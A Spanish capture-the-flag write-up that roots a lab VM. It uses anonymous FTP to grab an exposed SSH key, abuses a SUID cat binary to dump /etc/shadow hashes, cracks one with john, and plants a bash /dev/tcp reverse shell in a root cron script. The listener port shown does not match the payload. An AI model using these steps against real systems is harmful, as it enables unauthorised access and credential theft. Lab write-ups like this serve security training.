Equipo formado por: Pol Valentí, Oscar Barragan y Jiabo Zhou.

Recuerde de configurar la maquina en hostonly. Podra usar las credenciales de ip – ip para comprobar que la maquina tenga ip.

OVA: https://drive.google.com/file/d/1WdA6GkOHa8_GCFjWMIxXVOfVhXrVNLdS/view

Mirror: https://drive.google.com/file/d/17qekNH15BlDVuzJXndqEvGEb-cLR0qjf/view

Realizamos un nmap hacia máquina. Vemos que tenemos un ftp y un ssh.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sVC 192.168.56.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-22 16:13 EST
Nmap scan report for 192.168.56.106
Host is up (0.00074s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 1000     1000           54 Feb 22 20:37 Importantdata.txt
|_-rwsr-sr-x    1 0        0           35288 Feb 22 20:32 cat
|_ftp-bounce: bounce working!
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 47:15:d1:1a:4e:39:d1:5b:2f:13:32:d3:80:af:ea:2a (ECDSA)
|_  256 8a:c6:1a:08:53:90:ee:6b:98:03:53:cb:d8:2b:44:58 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.04 seconds
```

En el nmap vemos que podemos entrar con Anonymous.

```
┌──(kali㉿kali)-[~]
└─$ ftp anonymous@192.168.56.106
Connected to 192.168.56.106.
220 (vsFTPd 3.0.5)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||42151|)
150 Here comes the directory listing.
drwxr-xr-x    4 1001     1001         4096 Feb 22 23:06 .
drwxr-xr-x    4 1001     1001         4096 Feb 22 23:06 ..
-rw-------    1 1001     1001          625 Feb 22 20:32 .bash_history
-rw-r--r--    1 1001     1001          220 Feb 22 20:06 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 22 20:06 .bashrc
drwx------    2 1001     1001         4096 Feb 22 20:16 .cache
-rw-r--r--    1 1001     1001          807 Feb 22 20:06 .profile
drwxr-xr-x    2 1001     1001         4096 Feb 22 20:30 .ssh
-rw-r--r--    1 1001     1001          129 Feb 22 22:24 BombardeenRenfe
-rw-r-----    1 1001     1001           59 Feb 22 22:29 Importantdata.txt
226 Directory send OK.
ftp>
```

Vemos que Podemos leer el archivo BombardeenRenfe, nos lo descargamos.

```
ftp> get BombardeenRenfe
local: BombardeenRenfe remote: BombardeenRenfe
229 Entering Extended Passive Mode (|||26523|)
150 Opening BINARY mode data connection for BombardeenRenfe (129 bytes).
100% |*******************************************************|   129        3.51 MiB/s    00:00 ETA
226 Transfer complete.
129 bytes received in 00:00 (533.79 KiB/s)
ftp>
```

También vemos que tenemos permisos para poder entrar a .ssh, y también poder leer la clave privada.

```
ftp> cd .ssh
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||59928|)
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Feb 22 20:30 .
drwxr-xr-x    4 1001     1001         4096 Feb 22 22:24 ..
-rw-------    1 1001     1001           91 Feb 22 20:27 authorized_keys
-rwxrwxrwx    1 1001     1001          399 Feb 22 20:30 id_rsa
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||12816|)
150 Opening BINARY mode data connection for id_rsa (399 bytes).
100% |*******************************************************|   399       17.29 MiB/s    00:00 ETA
226 Transfer complete.
399 bytes received in 00:00 (1.16 MiB/s)
ftp>
```

Vemos que el archive va dirigido a yolandadiaz.

```
┌──(kali㉿kali)-[~]
└─$ cat BombardeenRenfe
Buenos dias yolandadiaz,

Hemos revisado su correo y los tomates dicen que NO.
No hay bombas en el tren.

Saludos,
Irene Montero
```

Modificaremos los permisos de la clave privada y entraremos por ssh con yolandadiaz usando la clave privada.

```
┌──(kali㉿kali)-[~]
└─$ chmod 700 id_rsa

┌──(kali㉿kali)-[~]
└─$ ssh yolandadiaz@192.168.56.106 -i id_rsa
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-133-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
New release '24.04.2 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sat Feb 22 20:31:54 2025 from 192.168.1.125
yolandadiaz@psoe:~$
```

Dentro de yolandadiaz podremos leer en archivo Importantdata.txt que anteriormente en el ftp no pudimos.

```
yolandadiaz@psoe:~$ cat Importantdata.txt
Tendrás que ser perro sanche para poder bombardear Renfe.
yolandadiaz@psoe:~$
```

Hacemos un find para buscar permisos SUID.

```
yolandadiaz@psoe:~$ find / -perm -04000 -ls 2>/dev/null
     8734     20 -rwsr-xr-x   1 root     root        18736 Feb 26  2022 /usr/libexec/polkit-agent-helpe
r-1
      548     48 -rwsr-xr-x   1 root     root        47488 Apr  9  2024 /usr/bin/mount
      329     36 -rwsr-sr-x   1 root     root        35288 Feb  8  2024 /usr/bin/cat
      854     36 -rwsr-xr-x   1 root     root        35200 Apr  9  2024 /usr/bin/umount
      794     56 -rwsr-xr-x   1 root     root        55680 Apr  9  2024 /usr/bin/su
      556     40 -rwsr-xr-x   1 root     root        40496 Feb  6  2024 /usr/bin/newgrp
      440     72 -rwsr-xr-x   1 root     root        72072 Feb  6  2024 /usr/bin/gpasswd
      340     44 -rwsr-xr-x   1 root     root        44808 Feb  6  2024 /usr/bin/chsh
      588     60 -rwsr-xr-x   1 root     root        59976 Feb  6  2024 /usr/bin/passwd
      429     36 -rwsr-xr-x   1 root     root        35200 Mar 23  2022 /usr/bin/fusermount3
      605     32 -rwsr-xr-x   1 root     root        30872 Feb 26  2022 /usr/bin/pkexec
      334     72 -rwsr-xr-x   1 root     root        72712 Feb  6  2024 /usr/bin/chfn
      795    228 -rwsr-xr-x   1 root     root       232416 Apr  3  2023 /usr/bin/sudo
     5839    148 -rwsr-xr-x   1 root     root       150728 Jul 26  2024 /usr/lib/snapd/snap-confine
      983     36 -rwsr-xr--   1 root     messagebus    35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon
-launch-helper
    15355    332 -rwsr-xr-x   1 root     root         338536 Feb 11 13:51 /usr/lib/openssh/ssh-keysign
yolandadiaz@psoe:~$
```

Vemos que cat tiene permisos de SUID.

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which cat) .

LFILE=file_to_read
./cat "$LFILE"
```

Con cat podremos leer el archivo de shadow donde contiene las contraseñas.

```
yolandadiaz@psoe:~$ cat /etc/shadow
root:*:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::
sys:*:19977:0:99999:7:::
sync:*:19977:0:99999:7:::
games:*:19977:0:99999:7:::
man:*:19977:0:99999:7:::
lp:*:19977:0:99999:7:::
mail:*:19977:0:99999:7:::
news:*:19977:0:99999:7:::
uucp:*:19977:0:99999:7:::
proxy:*:19977:0:99999:7:::
www-data:*:19977:0:99999:7:::
backup:*:19977:0:99999:7:::
list:*:19977:0:99999:7:::
irc:*:19977:0:99999:7:::
gnats:*:19977:0:99999:7:::
nobody:*:19977:0:99999:7:::
_apt:*:19977:0:99999:7:::
systemd-network:*:19977:0:99999:7:::
systemd-resolve:*:19977:0:99999:7:::
messagebus:*:19977:0:99999:7:::
systemd-timesync:*:19977:0:99999:7:::
pollinate:*:19977:0:99999:7:::
usbmux:*:20141:0:99999:7:::
perrosanche:$y$j9T$ZraL3S2KUgw.P2u05cKh7.$/qxL.GtC3L8gis8ShAyq98rialhdky6s7K228WiQOJ7:20141:0:99999:7::
:
sshd:*:20141:0:99999:7:::
yolandadiaz:$y$j9T$0o2hkC7y1S9vl02ZmTFOz.$Oik2XPNFUXglzcJ9yhobjAqKi8obqIpNnSwOetx1S62:20141:0:99999:7::
:
ftp:*:20141:0:99999:7:::
ip:$y$j9T$.wVqOOB4XXP957ecsKfjR1$GkuiM.L80/xFtjJLixfq1CeQOikwCyn5UybZpgncbIC:20141:0:99999:7:::
yolandadiaz@psoe:~$
```

Con john crackearemos el hash de perrosanche.

```
┌──(kali㉿kali)-[~]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all l
oaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1        (?)
1g 0:00:00:06 DONE (2025-02-22 16:38) 0.1443g/s 512.5p/s 512.5c/s 512.5C/s girls..01234
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Entramos como perrosacnhe.

```
yolandadiaz@psoe:~$ su perrosanche
Password:
perrosanche@psoe:/home/yolandadiaz$
```

Revisaremos el archivo de contab para ver si hay posibles archivos que se estén ejecutando cada x tiempo. Vemos que en al home perrosanche hay un archivo que se ejecuta cada minuto.

```
perrosanche@psoe:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *       root    /home/perrosanche/renfe.sh
perrosanche@psoe:~$
```

Crearemos o modificaremos el archivo para hacer una reverse shell para entrar como root.

```
perrosanche@psoe: ~
File  Actions  Edit  View  Help
  GNU nano 6.2                                  renfe.sh *
#!/bin/bash

bash -i >& /dev/tcp/192.168.56.107/6666 0>&1
```

Le damos permisos de ejecución.

```
perrosanche@psoe:~$ chmod +x renfe.sh
perrosanche@psoe:~$ ls -la
total 40
drwxr-x--- 5 perrosanche perrosanche 4096 Feb 22 22:47 .
drwxr-xr-x 5 root        root        4096 Feb 22 20:40 ..
-rw------- 1 perrosanche perrosanche  956 Feb 22 22:42 .bash_history
-rw-r--r-- 1 perrosanche perrosanche  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 perrosanche perrosanche 3771 Jan  6  2022 .bashrc
drwx------ 2 perrosanche perrosanche 4096 Feb 22 20:05 .cache
drwxrwxr-x 3 perrosanche perrosanche 4096 Feb 22 20:14 .local
-rw-r--r-- 1 perrosanche perrosanche  807 Jan  6  2022 .profile
drwx------ 2 perrosanche perrosanche 4096 Feb 22 20:04 .ssh
-rw-r--r-- 1 perrosanche perrosanche    0 Feb 22 20:05 .sudo_as_admin_successful
-rwxrwxr-x 1 perrosanche perrosanche   44 Feb 22 22:47 renfe.sh
perrosanche@psoe:~$
```

Desde nuestro Kali escucharemos el puerto previamente indicado.

```
┌──(kali㉿kali)-[~/Desktop/test]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.1.125] from (UNKNOWN) [192.168.1.124] 52020
bash: cannot set terminal process group (1163): Inappropriate ioctl for device
bash: no job control in this shell
root@psoe:~#
```

Y bomba, bomba a renfe.

```
root@psoe:~# id
id
uid=0(root) gid=0(root) groups=0(root)
```